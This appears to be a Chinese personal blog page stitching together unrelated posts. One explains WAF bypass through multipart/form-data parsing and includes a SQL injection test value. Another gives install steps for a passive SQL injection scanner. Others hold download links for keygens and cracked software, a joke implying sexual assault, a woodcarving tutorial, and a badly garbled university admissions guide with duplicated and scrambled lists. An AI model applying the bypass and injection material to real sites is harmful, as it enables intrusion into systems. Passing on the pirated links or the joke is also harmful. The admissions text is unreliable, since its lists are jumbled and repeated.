xiaohack's Blog

依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗)
原文简单的描述了PHP在处理POST请求的时候会解析multipart/form-data的内容。
那么这个multipart/form-data到底是个啥呢？

大概长成上面这样.HTML代码就更加简单了:

<!DOCTYPE html> 
<html> 
<head> 
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> 
<title>yzmm - p2j.cn</title> 
</head> 
<body> 
  <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data"> 
       File:<input type="file" name="file" /><br/> 
        ID:<input type="text" name="id" value="select 1 from mysql.user--" style="width:250px;" / ><br/> 
        <input type="submit" value="提交" /> 
    </form> 
</body> 
</html>

这个特性其实并不只是PHP的专利,许多其他语言的MVC框架为了简化操作也有可能会做类似PHP FILES解析。虽说原生的JSP/Servlet是不支持解析multipart的.但在Java语言中当今最火的SpringMVC、Struts2都做了一样的事情。你可能经常会看到如下的Spring MVC代码:

import javax.servlet.http.HttpServletRequest; 
import javax.servlet.http.HttpServletResponse; 
import org.springframework.stereotype.Controller; 
import org.springframework.web.bind.annotation.RequestMapping; 
import org.springframework.web.bind.annotation.RequestParam; 
import org.springframework.web.multipart.MultipartFile; 

@Controller 
public class TestController { 

  @RequestMapping("/test1.aspx") 
  public void test1(HttpServletRequest request,HttpServletResponse response){ 
    System.out.println("test1.aspx:"+request.getParameter("username")); 
  } 

  @RequestMapping("/test2.aspx") 
  public void test2(@RequestParam(value = "file", required = false) MultipartFile file,HttpServletRequest request,HttpServletResponse response){ 
    System.out.println("test2.aspx:"+request.getParameter("username")); 
    System.out.println("文件名:"+file.getOriginalFilename()); 
  } 
}

然后是HttpClient客户端测试代码,用于发送HTTP Multipart测试请求:

import java.io.File; 
import java.io.IOException; 

import org.apache.commons.io.IOUtils; 
import org.apache.http.HttpEntity; 
import org.apache.http.client.methods.CloseableHttpResponse; 
import org.apache.http.client.methods.HttpPost; 
import org.apache.http.entity.ContentType; 
import org.apache.http.entity.mime.MultipartEntityBuilder; 
import org.apache.http.impl.client.CloseableHttpClient; 
import org.apache.http.impl.client.HttpClients; 

public class MultipartTest { 
   
  public static void main(String[] args) { 
    CloseableHttpClient httpClient = HttpClients.createDefault(); 
    HttpPost uploadFile = new HttpPost("http://localhost:8080/test/test1.aspx"); 
    MultipartEntityBuilder builder = MultipartEntityBuilder.create(); 
    builder.addTextBody("username", "admin", ContentType.TEXT_PLAIN); 
    builder.addTextBody("password", "123456", ContentType.TEXT_PLAIN); 
    builder.addBinaryBody("file", new File("/Users/yz/Downloads/bd_logo1_31bdc765.png"), ContentType.APPLICATION_OCTET_STREAM, "pic"); 
    HttpEntity multipart = builder.build(); 
    uploadFile.setEntity(multipart); 
    try { 
      CloseableHttpResponse response = httpClient.execute(uploadFile); 
      HttpEntity responseEntity = response.getEntity(); 
      System.err.println(IOUtils.toString(responseEntity.getContent())); 
    } catch (IOException e) { 
      e.printStackTrace(); 
    } 
  } 

}

pom 依赖的jar:

<dependency> 
      <groupId>org.apache.httpcomponents</groupId> 
      <artifactId>httpcore</artifactId> 
      <version>4.4.4</version> 
    </dependency> 

    <dependency> 
      <groupId>org.apache.httpcomponents</groupId> 
      <artifactId>httpclient</artifactId> 
      <version>4.5.1</version> 
    </dependency> 

    <dependency> 
      <groupId>org.apache.httpcomponents</groupId> 
      <artifactId>httpasyncclient</artifactId> 
      <version>4.1.1</version> 
    </dependency> 

    <dependency> 
      <groupId>org.apache.httpcomponents</groupId> 
      <artifactId>httpmime</artifactId> 
      <version>4.5.1</version> 
    </dependency> 

    <dependency> 
      <groupId>commons-io</groupId> 
      <artifactId>commons-io</artifactId> 
      <version>2.4</version> 
    </dependency>

test1.do是一个最普通的Http请求Mapping,如果当前请求类型是一个multipart请求Spring MVC会将解析好的multipart放到request里面(其实是Spring MVC包装了一个HTTP请求,类名是:org.springframework.web.multipart.support.DefaultMultipartHttpServletRequest)。于是我们在控制层就拿到了multipart里的username参数。

毫无疑问,使用MultipartTest的测试代码去请求test1.aspx会输出multipart内的username的值:admin.

Struts2实现方式和SpringMVC大同小异，同样的也自动的利用commons-fileupload做了HTTP解析。

import javax.servlet.http.HttpServletRequest; 
import org.apache.struts2.ServletActionContext; 
import com.opensymphony.xwork2.ActionSupport; 

public class Test extends ActionSupport { 

  private static final long serialVersionUID = 1L; 

  @Override 
  public String execute() throws Exception { 
    HttpServletRequest request = ServletActionContext.getRequest(); 
    System.out.println(request.getParameter("username")); 
    return "input"; 
  } 

}

那么为什么一个看似很简单的表单数据请求解析的功能会让很多的WAF蒙了呢？究其原因主要还是因为HTTP请求解析的复杂性和来自客户端的数据不确定性。因为上传一个几十M甚至更大的文件需求再平常不过了，如果WAF完整的去解析这个InputStream会消耗大量的服务器性能有点得不偿失。
另一个原因是由于实现HTTP请求的RFC的差异性导致次类请求解析得不一致或者解析错误的情况。因为multipart解析出问题的还不少。去年PHP和Apache Commons FileUpload 就出过DOS漏洞。
Apache Commons FileUpload 和 Apache Tomcat 拒绝服务

Multipart boundary 边界检查问题（分割线长度大于4091的）导致拒绝服务（死循环）

PHP曝DOS漏洞可致CPU灌满涉及多个PHP版本

那么问题来了,各位同学的SQL注入和Struts2的命令执行漏洞真的修好了吗？看看loopx9牛的这个漏洞就知道了 WooYun: 百度某站st2命令执行(独特执行姿势)
赶紧回家修补丁吧。

作者: 纯情 · 2015-12-01

GourdScan
之前俩个轮子中的一个的升级版，谈不上神器。
谈谈升级了哪些：

1.更新了代理的方式，抛弃了占用内存极高的burp，采用了tornado进行代理，缺点是暂不支持https的代理。
2.更新了测试的逻辑，不会因为sqlmapapi的出错导致代理的挂起。
3.添加了分布式的支持，其实也就是通过mysql查询出正在运行任务最少的机器进行返回。

PS：此处应有感谢，开个玩笑，希望大家积极给我提取意见，进行改进。

被动式注入检测工具程序使用python与php开发，需要安装python。利用sqlmapapi进行漏洞的检测，然后通过浏览器代理方式获取请求，然后对其进行测试

INSTALl
环境

python 2.7 tornado 
php 
mysql 
apache

Windows
安装好python

pip install tornado

这里使用的usbwebserver打包了一套环境，直接可以双击运行，修改配置看linux的配置方式即可。

https://github.com/code-scan/GourdScan/releases/tag/windows

Linux

先安装好lamp,

mysql

create database pscan; 
use pscan; 
source pscan.sql

移动web文件和安装依赖

mv root/* /var/www/html 
pip install tornado

修改conn.php中的数据库信息

修改 ./proxy/isqlmap.py

self.webserver="http://localhost:88/"

改成你自己的主机地址和端口。

修改./proxy/task.py

def update():     url="http://localhost:88/api.php?type=sqlmap_update"     urllib2.urlopen(url).read() def api_get():     url="http://localhost:88/api.php?type=api_get"     data=urllib2.urlopen(url).read()

改成你的host地址

配置
打开 http://localhost:88/config.php 在list里面添加sqlmapapi节点

格式为

http://127.0.0.1:8775

(不需要最后一个/)
浏览器设置代理，并且添加一个http header

User-Hash: youhash

youhash可以随意填写，主要用于分类若不填写默认是 cond0r

可以在 http://localhost:88/config.php 查看你的分类，点击分类名称即可查看。

使用
首先运行sqlmapapi，并且在config里面增加至少一个节点

cd proxy/ python proxy_io.py 8080& python task.py&

然后将浏览器代理设置为

http 127.0.0.1 8080

然后一顿请求之后可以打开

http://localhost:88/config.php

点击分类进行查看信息了，差不多等待几分钟之后会将请求测试结束，你的节点越多效率就越高。

项目地址：https://github.com/code-scan/GourdScan
如果在使用中遇到什么问题可以去提交issue

作者: 纯情 · 2015-12-01

资源超级合集【有各种设计软件.注册机.设计素材.网站设计教程.]设计建筑站长必备资源1.素材超级全集【各种素材10000多套】

链接: http://pan.baidu.com/s/1mgnNPJ6 密码: nkwa

2.设计软件大全集

链接: http://pan.baidu.com/s/1c0eAJ40 密码: maq8

3.八大菜系菜谱大全烹饪视频教程+赠送火锅全套技术

链接: http://pan.baidu.com/s/1sjOl2Rb 密码: vhur

4.网站建站教程集合

链接: http://pan.baidu.com/s/1dDt1KDr 密码: 29fz

作者: 纯情 · 2015-12-01

OK，进入正题！
下载链接：
链接: http://pan.baidu.com/s/1i3yds4P 密码: yjib
链接: http://pan.baidu.com/s/1mgiyjLu 密码: hipd
链接: http://pan.baidu.com/s/1bnHmyv1 密码: v5yq
链接: http://pan.baidu.com/s/1o6OX42Q 密码: ymvw

原文：http://www.52pojie.cn/thread-439570-1-1.html

作者: 纯情 · 2015-12-01

先看个成品（新手制作，雕刻师傅轻喷）

自行在某宝上搜索【红木料头】挺便宜的，不放连接，不做推广

最贵的是你的那份心，而不是你送的东西有多贵

所用到的工具：台虎钳、木锉、金刚锉、雕刻刀、砂纸（200目、400目、800目、1200目）、蜂蜡、抛光膏等等等。。。。

先用最大的雕刻刀铲出想要的形状

我要的是水滴型的所以就是雏形就是酱紫

上锉刀打磨边缘

当然还有一个字啦，先写在纸上，然后用胶水粘住，再用雕刻刀刻下多余的就可以啦

然后用电钻钻个孔，用来栓绳子的

清晰的字体，到这一步呢，大概用了两个多小时了

用200目的砂纸打磨字和边缘，让宝贝没有毛刺

继续用砂纸打磨，依次用400目，800目的打磨，比较费时间

打磨过之后的样子，这个是洗了个橄榄油的澡出来的样子

上抛光膏，用抛光轮打磨一下下

上蜂蜡，比较简洁，用王老吉的罐子，把蜂蜡放里面，烧化就行了，注意温度不能太热

穿上绳子，用无纺布来回的摩擦摩擦。。。

绳子是买的~~~某宝上都有的

作者: 纯情 · 2015-11-29

机器猫圈圈助手2.0.zip

http://www.t00y.com/file/131229554

作者: 纯情 · 2015-11-29

女孩问男孩“我和你妈一起掉进河里了，你先救谁？”男孩沉默不语，女孩生气的走了。第二天再见到女孩，男孩手里拿了两套泳衣，说：“我教你游泳吧，到时候我们一起救我妈。”正当女孩把衣服脱下，准备换上泳衣时，男孩把她上了

作者: 纯情 · 2015-11-29

什么是“985工程”？-实用高考填报前指南

1, "985 工程"高校 (1) ,什么是"985 工程"? 1998 年 5 月 4 日,江泽民总书记在庆祝北大建校 100 周年大会上向全社会宣告:"为了实现现代化,我国要有若干所具有世界先进水平的一流大学."为贯彻落实党中央科教兴国的战略和江泽民同志的号召,教育部决定在实施"面向 21 世纪教育振兴行动计划"中, 重点支持北京大学, 清华大学等部分高等学校创建世界一流大学和高水平大学,简称"985"工程. (2)"985 工程"高校一期名单(34 所) , 清华大学北京大学中国科技大学南京大学复旦大学上海交通大学西安交通大学浙江大学哈尔滨工业大学南开大学天津大学东南大学华中科技大学武汉大学厦门大学山东大学湖南大学中国海洋大学中南大学吉林大学北京理工大学大连理工大学北京航空航天大学重庆大学电子科技大学四川大学华南理工大学中山大学兰州大学东北大学西北工业大学同济大学北京师范大学中国人民大学 (3)"985 工程"高校二期名单(4 所) , 中国农业大学学 (4) ,对于"985 工程"高校名单尤其是一期名单,笔者认为不能简单地看待,因为我国官方对先后顺序的排列是非常讲究的,常常是在未作排名的情况下,在后面加上注明:排名不分先后或以姓氏笔国防科技大学中央民族大学西北农林科技大
划为序, "985 工程"高校名单,没有在后面加上注明:排名不分先后,同时排在前 9 位的就是官方明确指出的创建世界一流大学的高校,那么如此一来,这份名单就很有可能隐含着官方不露声色的某种排名. 广大考生及家长可以将此作为我国第一层次高校综合性实力排名的一个方面的参考,当然也不能就此决定自己的高考志愿填报,因为决定报考的因素很多.
摸清高校底细

高考志愿填报,说简单非常简单,只须知道 9 个字即"凭实力, 选学校,择专业" 个关键词即"实力,选择,学校,专业" ,4 ,凭想当然在高考志愿表上填写几个学校几个专业就算完事; 可要说难也非常难, 要做到将自己的高考竞争实力与所报考的学校和专业的完美结合,就不是轻而易举,一朝一夕之事了.一方面,不仅有一些不可预知的可变因素难以把握,就连学校情况的全面了解也有点难,不易做到. 这是因为虽然有些学校本着实事求是的态度向社会各界全面客观地介绍学校的情况, 但是还有些学校就不是这样了, 他们只将 "出彩" 的方面展现出来,而将"失色"的东西隐藏起来,不予公开,如此一来,让广大考生及家长收集就有些困难.有一位"过来人"是如此告诫大家的"报考大学,请先看清楚具体专业和合并情况,不能够单单看学校的简介,很多高校出于招生的需要,刻意隐瞒了一些事实.如果报考之前不慎重,等去了再后悔,实在令人惋惜."更别说各学校之间的相互比较,分出优劣了.如何比较呢?要注意方法的科学性,
资料的全面性,多样性,客观性,以及其可比性,也就是说各种资料进行对比,必须具有可比的条件,符合对比的要求,不然不是没有意义,就是作用不大,甚至会有副作用. 另一方面,如今是信息时代,各种资料满天飞,各种消息扑面而来,真伪难辨,对错不知.由于广大考生及家长不是专业人士,既没有时间也没有精力,要想在不长的时间内了解情况并做出正确的选择,完成高考志愿填报,就需要只掌握那些对高考志愿填报非常有用的可靠的信息资料,那么对学校之间的相互比较,分出优劣需要哪些资料好呢? (一) ,可信度可用度非常高的学校资料客观全面公正准确可靠的资料,非权威部门,机构(即官方)发布的信息莫属.虽然我国官方没有发布全国高校的综合性实力排名, 但也不是一点有用的信息都没有,可用的信息如下: 1, "985 工程"高校 (1) ,什么是"985 工程"? 1998 年 5 月 4 日,江泽民总书记在庆祝北大建校 100 周年大会上向全社会宣告:"为了实现现代化,我国要有若干所具有世界先进水平的一流大学."为贯彻落实党中央科教兴国的战略和江泽民同志的号召,教育部决定在实施"面向 21 世纪教育振兴行动计划"中, 重点支持北京大学, 清华大学等部分高等学校创建世界一流大学和高水平大学,简称"985"工程. (2)"985 工程"高校一期名单(34 所) ,
清华大学北京大学中国科技大学南京大学复旦大学上海交通大学西安交通大学浙江大学哈尔滨工业大学南开大学天津大学东南大学华中科技大学武汉大学厦门大学山东大学湖南大学中国海洋大学中南大学吉林大学北京理工大学大连理工大学北京航空航天大学重庆大学电子科技大学四川大学华南理工大学中山大学兰州大学东北大学西北工业大学同济大学北京师范大学中国人民大学 (3)"985 工程"高校二期名单(4 所) , 中国农业大学学 (4) ,对于"985 工程"高校名单尤其是一期名单,笔者认为不能简单地看待,因为我国官方对先后顺序的排列是非常讲究的,常常是在未作排名的情况下,在后面加上注明:排名不分先后或以姓氏笔划为序, "985 工程"高校名单,没有在后面加上注明:排名不分先后,同时排在前 9 位的就是官方明确指出的创建世界一流大学的高校,那么如此一来,这份名单就很有可能隐含着官方不露声色的某种排名. 广大考生及家长可以将此作为我国第一层次高校综合性实力排名的一个方面的参考,当然也不能就此决定自己的高考志愿填报,因为决定报考的因素很多. 国防科技大学中央民族大学西北农林科技大
2, "211 工程"高校 (1) ,什么是"211 工程"?
1993 年 2 月 13 日中共中央,国务院印发的《中国教育改革和发展纲要》及国务院《关于<中国教育改革和发展纲要>的实施意见》中, 关于"211 工程"的主要精神是:为了迎接世界新技术革命的挑战, 面向 21 世纪,要集中中央和地方各方面的力量,分期分批地重点建设 100 所左右的高等学校和一批重点学科,专业,使其到 2000 年左右在教育质量,科学研究,管理水平及办学效益等方面有较大提高, 在教育改革方面有明显进展,力争在 21 世纪初有一批高等学校和学科,专业接近或达到国际一流大学的水平.并可概括表述为: "211 工程"就是面向 21 世纪,重点建设 100 所左右的高等学校和一批重点学科点. (2)"211 工程"高校名单 , 北京大学中国人民大学清华大学北京交通大学北京工业大学北京航空航天大学北京理工大学北京科技大学北京化工大学北京邮电大学中国农业大学北京林业大学北京中医药大学北京师范大学北京外国语大学中国传媒大学对外经济贸易大学中央民族大学中央音乐学院南开大学天津大学天津医科大学河北工业大学太原理工大学内蒙古大学辽宁大学大连理工大学东北大学大连海事大学吉林大学延边大学东北师范大学哈尔滨工业大学哈尔滨工程大学东北农业大学复旦大学同济大学上海交通大学华东理工大学东华大学上海第二医科大学华东师范大学上海外国语大学上海财经大学上海大学南京大学苏州大学东南大学南京航空航天大学南京理工大学中国矿业大学河
海大学江南大学南京农业大学中国药科大学南京师范大学浙江大学安徽大学中国科学技术大学厦门大学福州大学南昌大学山东大学中国海洋大学中国石油大学郑州大学武汉大学华中科技大学中国地质大学武汉理工大学湖南大学中南大学中山大学暨南大学华南理工大学华南师范大学广西大学四川大学重庆大学西南交通大学电子科技大学四川农业大学西南财经大学云南大学西北大学西安交通大学西南财经大学西北工业大学西安电子科技大学长安大学兰州大学新疆大学第二军医大学第四军医大学国防科学技术大学 (3)"211 工程"高校 2006 名单 , 中国协和医科大学东北林业大学中国政法大学中央财经大学华中师范大学华北电力大学华中农业大学
合肥工业大学
中南财经政法大学西北农林科技大学
广州中医药大学
3,教育部直属高校北京大学技大学中国人民大学清华大学北京交通大学北京科中北
中国石油大学北京林业大学北京语言大学中国传媒大学南开大学吉林大学
北京邮电大学北京中医药大学
北京化工大学北京师范大学
国农业大学京外国语大学中国政法大学央音乐学院东北大学
对外经济贸易大学中央美术学院
中央财经大学中
中央戏剧学院
天津大学
华北电力大学
大连理工大学复旦大学
东北师范大学
东北林业大学
同济大学学
上海交通大学
华东理工大学
东华大学
华东师范大
上海外国语大学
上海财经大学
南京大学
东南大学中国矿浙江武汉中国地中
业大学河海大学大学大学质大学
江南大学
南京农业大学山东大学
中国药科大学中国海洋大学
合肥工业大学
厦门大学
中南财经政法大学华中农业大学
华中科技大学华中师范大学
武汉理工大学中南大学
湖南大学
山大学华南理工大学西南师范大学
重庆大学西南交通大学电子科技大学西南财
四川大学
经大学西安交通大学长安大学兰州大学西安电子科技大学西北农林科技大学陕西师范大学
4,中国科学院和国防科工委及国家民委所属重点高校中国科学技术大学北京航空航天大学北京理工大学哈尔滨工西
业大学哈尔滨工程大学北工业大学
南京航空航天大学南京理工大学
中央民族大学
这里可将上述资料这样运用, 将教育部直属高校与中国科学院和国防科工委及国家民委所属高校中的"985 工程"高校(已划作第一层次)剔除,余下的 43 所高校均作为第二层次.名单如下: 北京科技大学京林业大学中国石油大学北京中医药大学北京邮电大学北京化工大学北
北京外国语大学中国政法大学
北京语言大学中国传媒大学
对外经济贸易大学
中央财经大学
中央美术学院东北师范大学师范大学大学
中央戏剧学院东北林业大学
中央音乐学院华东理工大学
华北电力大学东华大学华东
上海外国语大学
上海财经大学
中国矿业大学河海合肥工业大学华中农业大学西南财经大学哈尔滨工程大
江南大学
南京农业大学武汉理工大学
中国药科大学中国地质大学西南交通大学陕西师范大学
中南财经政法大学华中师范大学长安大学学
西南师范大学
西安电子科技大学
南京航空航天大学南京理工大学当然也可以分得细一些, 将教育部直属高校与中国科学院和国防
科工委及国家民委所属高校中的"985 工程"高校 (已划作第一层次) 剔除,余下的 43 所高校中凡是 2005 年以前的"211 工程"高校作为第二层次. 名单如下:(31 所) 北京科技大学京林业大学大学北师范大学国语大学中国石油大学北京中医药大学中国传媒大学华东理工大学上海财经大学北京邮电大学北京外国语大学中央音乐学院东华大学北京化工大学北
对外经济贸易东上海外
华北电力大学华东师范大学
中国矿业大学河海大学武汉理工大学长安大学
江南大学
南京农业大学西南交通大学哈尔滨工程大学
中国药科大学西南财经大学
中国地质大学
西安电子科技大学
南京航空航天大学南京理工大学
再将余下的 12 所与其他的未列入的"211 工程"高校一起作为
第三层次. 名单如下:(37 所) 北京语言大学院中央戏剧学院中央财经大学东北林业大学中国政法大学中央美术学中南财
合肥工业大学
经政法大学
华中农业大学
华中师范大学
西南师范大学
陕西师范大学 (12 所) 北京工业大学古大学辽宁大学第二医科大学天津医科大学河北工业大学太原理工大学内蒙大连海事大学延边大学东北农业大学南京师范大学上海
上海大学
苏州大学
安徽大学
福州大学南昌大学
郑州大学
暨南大学
华南师范大学广西大新疆大学
学四川农业大学云南大学西北大学长安大学
第四层次就是列入各省市区第一批次本科招生学校不属于以上三个层次的所有高校.当然也可参考这个资料作重新划分.将 141 所具有教授评审权的高等学校和列入各省市区第一批次本科招生学校中不属于以上三个层次所余下的高校作为第四层次.
5,具有教授或者副教授评审权的高等学校名单 (1) ,141 所具有教授评审权的高等学校(排名不分先后) 北京: 北京大学清华大学中国人民大学北京师范大学中国农业大学北京科技大学北京理工大学北京航空航天大学中国协和医科大学北方交通大学北京邮电大学石油大学对外经济贸易大学北京林业大学北京中医药大学北京外国语大学中央音乐学
院中央美术学院北京体育大学北京化工大学中央戏剧学院北京工业大学首都师范大学中国政法大学北京语言大学中央民族大学天津: 南开大学天津大学天津医科大学天津师范大学天津财经学院天津科技大学天津工业大学河北: 燕山大学华北电力大学山西: 山西大学太原理工大学华北工学院辽宁: 大连理工大学东北大学中国医科大学沈阳农业大学东北财经大学大连海事大学辽宁大学沈阳工业大学大连医科大学辽宁工程技术大学吉林: 吉林大学东北师范大学长春理工大学黑龙江: 哈尔滨工业大学东北农业大学哈尔滨工程大学东北林业大学哈尔滨医科大学上海: 复旦大学上海交通大学同济大学上海医科大学华东师范大学东华大学华东理工大学上海财经大学上海第二医科大学上海外国语大学上海音乐学院上海理工大学上海大学上海体育学院上海海运学院江苏: 南京大学东南大学中国矿业大学河海大学南京航空航天大学南京理工大学南京农业大学南京师范大学江苏理工大学南京林业大学苏州大学南京化工大学南京中医药大学南京医科大学中国药科大学江南大学
浙江: 浙江大学中国美术学院安徽: 中国科技大学合肥工业大学福建: 厦门大学山东: 中国海洋大学山东大学山东农业大学河南: 郑州大学河南大学湖北: 华中科技大学中国地质大学武汉大学华中师范大学武汉理工大学华中农业大学中南财经政法大学湖南: 中南大学湖南大学湖南师范大学广东: 中山大学华南理工大学华南农业大学中山医科大学暨南大学华南师范大学广州中医药大学广东外语外贸大学
重庆: 重庆大学重庆医科大学西南农业大学西南师范大学四川: 四川大学西南交通大学电子科技大学成都理工学院四川农业大学西南石油学院西南财经大学云南: 云南大学昆明理工大学陕西: 西安交通大学西北工业大学西安电子科技大学西北大学西安理工大学西北农林科技大学陕西师范大学西安建筑科技大学长安大学甘肃: 兰州大学甘肃农业大学西北师范大学甘肃工业大学
(2) ,116 所具有副教授评审权的高等学校(排名不分先后) 北京: 首都医科大学外交学院中央财经大学北京广播学院
天津: 天津轻工业学院天津中医学院河北: 河北大学河北工业大学石家庄经济学院河北医科大学河北师范大学河北农业大学山西: 山西农业大学山西医科大学山西财经大学内蒙古: 内蒙古大学内蒙古师范大学内蒙古农业大学内蒙古医学院内蒙古工业大学辽宁: 沈阳药科大学辽宁中医学院辽宁师范大学大连铁道学院沈阳体育学院沈阳工业学院沈阳师范学院大连外国语学院鞍山钢铁学院抚顺石油学院吉林: 东北电力学院吉林工学院吉林农业大学延边大学黑龙江: 黑龙江大学黑龙江中医药大学大庆石油学院哈尔滨师范大学哈尔滨理工大学上海: 上海中医药大学上海师范大学上海戏剧学院上海水产大学华东政法学院江苏: 南京艺术学院南京邮电学院浙江: 杭州电子工业学院浙江工业大学浙江中医学院温州医学院浙江工程学院杭州商学院浙江师范大学安徽: 安徽大学安徽师范大学安徽农业大学安徽医科大学福建: 福州大学福建农林大学福建师范大学福建医科大学华侨大学江西: 南昌大学江西师范大学江西医学院南昌航空工业学院江西财经大学江西农业大学江西中医学院华东交通大学
山东: 山东师范大学山东科技大学青岛大学曲阜师范大学山东中医药大学河南: 洛阳工学院河南农业大学河南师范大学焦作工学院湖北: 中南民族学院湖北大学武汉体育学院武汉科技大学湖南: 湘潭大学湖南农业大学中南林学院湖南中医学院长沙交通学院广东: 广东工业大学广西: 广西大学广西医科大学广西师范大学重庆: 西南政法大学四川: 成都中医药大学西南民族学院成都体育学院贵州: 贵州工业大学贵阳医学院贵州大学云南: 昆明医学院云南师范大学云南农业大学陕西: 西安工程学院西北纺织工学院西安外国语学院西安科技学院西安石油学院西北政法学院西安工业学院陕西科技大学甘肃: 兰州铁道学院兰州医学院西北民族学院新疆: 新疆医科大学石河子大学新疆大学具有副教授评审权的高等学校中剔除不属于以上四个层次所余下的高校作为一般本科学校的分析比较区别是很有价值的.
6,自主选拔录取试点高校自主选拔录取试点高校是教育部从 2003 年开始进行高校招生录
取改革的产物,因此可以说凡是进入自主选拔录取试点的高校,除了学校的综合实力非常强以外,学校的招生工作也是比较规范的,可以让教育部放心才被选入作为试点的. 广大考生及家长可以将此作为我国高校综合性实力排名的一个方面加以参考, 当然也不能就此决定自己的高考志愿填报,因为决定报考的因素很多. (1) ,从 2003 年就开始进行自主选拔录取改革试点的学校有: 北京大学,清华大学,中国政法大学,同济大学,华东理工大学,南京大学,南京航空航天大学,河海大学,南京农业大学,中国科技大学,中山大学,中国人民大学,北京师范大学,复旦大学,上海交通大学,华东师范大学,东南大学,南京理工大学,中国药科大学,浙江大学,华中科技大学,重庆大学. (2) ,2004 年加入自主选拔录取改革试点的学校有:大连理工大学,东北大学,武汉大学,华中师范大学,华南理工大学,西安交通大学 (3) ,2005 年加入自主选拔录取改革试点的学校有:北京科技大学,北京邮电大学,北京交通大学,北京林业大学,南开大学,天津大学,山东大学,厦门大学,湖南大学,中南大学,东北师范大学, 四川大学,电子科技大学,西安电子科技大学 (4) ,2006 年经教育部批准又有 11 所高校具有自主招生资格, 它们分别是:江南大学,北京化工大学,上海财经大学,西北农林科技大学,武汉理工大学,中国矿业大学,中国海洋大学,中国地质大学(武汉),西南交通大学,北京中医药大学,中南财经政法大学.
(5),2007 年经教育部批准又有 6 所高校具有自主招生资格, 它们分别是:北京理工大学,中央财经大学,大连海事大学,哈尔滨工业大学,兰州大学,西北工业大学. 7,全国大学一级学科评估排名(具体内容在高考招生专业中介绍) 8,全国大学的国家重点学科(具体内容在高考招生专业中介绍) 需要明确指出的是全国大学一级学科排名和国家重点学科的分布情况对报考研究生作用非常大,只需"对号入座"就可以了,而对于高考生就不完全如此了, 由于全国大学一级学科排名和国家重点学科是根据研究生学科,专业目录进行的,而本科生的专业目录与研究生学科,专业目录相比有较大的不同,不是一一对应的关系,故而不能简单地完全"对号入座" ,但也不是说完全没有"对号入座"的, 具有非常高的参考可用价值是无疑的. 至于广大考生及家长能够正确运用以下指标加以分析,区别,比较,当然非常好,但是难度有点大. 1,学校有多少国家重点学科,省市区重点学科,国家重点实验室,教育部重点实验室.因为国家重点学科无论从师资力量,教学设备,教学水平,学科建设都是名列前茅的,实力非常强; 2,学校教授,副教授数量.因为教授,副教授不仅有研究课题, 带研究生,而且越来越多的学校规定,教授必须为本科生上课,这对本科生教育来说是好消息.因此,教授,副教授数量多少在一定程度上反映了该校的科研实力和教育实力.
3,学校设有多少博士点,硕士点及博士生,硕士生人数,这从一个侧面反映了该校的学术能力和学术水平. 4,是否设有研究生院,每年高水平的学术论文篇数多少.当然要考虑到基础学科的研究周期较长,论文数量相对会少些. 5,毕业生社会认知度及毕业生就业率. 为什么说正确运用以上指标加以分析, 区别, 比较, 难度有点大? 因为对高校作综合性实力排名或说作综合区别, 比较不是一件容易的事,而是一件难度非常大的事,因为它起码需要一套系统,完整的统计指标体系,等等.简单来说,哪个学校多一个重点学科综合实力就一定会强一些?哪个学校多几个教授博导其师资力量, 教学水平就一定会强一些?肯定不能这么简单的类比.但相对来说,以上指标对 "985 工程"高校,教育部直属高校的作用要小一些,而对一般本科高校的作用要大一些.
(二) ,有一定可信度可用度的学校排名资料客观全面公正准确可靠的资料,非权威部门,机构(即官方)发布的信息莫属.但由于权威部门,机构(即官方)发布的可用信息有限,就必须将社会组织(个人)即非官方发布的信息作为补充. 1, 《挑大学选专业-2007 高考志愿填报指南》 .这是一本以大学排名和本科专业排名为主线条的高考志愿填报参考书. 我国由社会组织(个人) 即非官方发布的中国大学综合排名及分类排名,影响力最大,持续时问最长的当属《中国大学评价》课题组. 《中国大学评价》
课题组组建于 1992 年,专事中国大学评价研究.自 1993 年起,课题组开始发表年度大学排行榜, 至今已有 14 年; 由武书连任组长的《中国大学评价》课题组是我国研究中国大学评价课题时间最长的研究集体. 课题组自 2002 年起与中国统计出版社合作, 每年出版《挑大学选专业-高考志愿填报指南》 ,供应届高中毕业生报考大学择校参考. 2,国内另三家有影响的大学排行榜发布单位分别是:网大(始于 2001 年)和中国校友会(始于 2003 年)以及中国科学评价研究中心,中国科技信息研究所联合完成的《2006 大学评价报告》 ,领衔推出此次排行榜的是武汉大学教授邱均平.2004 年首度发布,2006 年是第三年.对于英语是开设最多的专业,共有 554 所高校开设,相当于全国 83%高校开设了英语专业, 其后是计算机和法学专业, 分别有 526 和 407 所高校开设.邱教授认为,一方面说明这些专业社会需求量大,是热门专业,另一方面也说明中国大学学科布局不均衡,尤其是近年来不少高校总想打造综合性大学,片面追求学科门类齐全,盲目上规模,上档次,导致不少专业在条件不具备的情况下开设并大量招生,为以后的就业压力埋下了隐患.邱教授以自己熟悉的"信息管理与信息系统"专业为例,该专业 1998 年由科技信息等 5 个专业合并而成,2000 年共有 177 所高校开设,由于沾上了"信息"二字,到 2004 年已有 354 所高校开设, 短短四年间增长了一倍. 据介绍, 2000 年以前,武大该专业的本科毕业生很走俏,绝大部分在京,沪,深, 广等发达地区的企业从事信息管理工作,而 2006 年该校的本科毕业生频频感叹找工作一年不如一年,一半以上的学生选择考研.邱教授
建议, 高中生选择高考专业志愿时要充分考虑自身兴趣和专业竞争情况,对所谓的热门专业和冷门专业要有清醒的认识.同时高校要认清定位,重在发展自身特色和优势学科,不可盲目贪大求全. 3, "大学排行榜"可以作为择校参照吗?有些"大学排名榜"失之科学和客观,如能正确看待和理解,对填报志愿也有帮助.一些教育界人士认为, 各种 "大学排名榜" 的出现, 是一种社会进步的表现. 尽管目前国内关于高校的排名榜很多, 排名的依据和参照因素不尽相同,调查的范围大小不一,因此有些"大学排名榜"不免失之科学和客观.对高考考生来说,如果能够正确看待各种排行榜和理解它们的意义,对于填报志愿也有很大的帮助. 例如, 这些排名榜几乎都引用各所高校的科技论文在国际上的发表数量和引用次数作为大学实力的比较标准, 从客观上反映出一所高校在自然科学领域的学术水平, 但对于哲学和社会科学方面的水平却难于体现.同时,衡量一所大学的综合实力,仅从"学术水平"来评判是不够的, 还必须包括师资力量, 教学条件, 办学经费, 学生质量, 学生就业情况等.教育部副部长袁贵仁曾经建议,家长在为孩子择校时, "大学排名可以做适度参照,但不要光看大学排名,还要仔细考察所报考的专业" 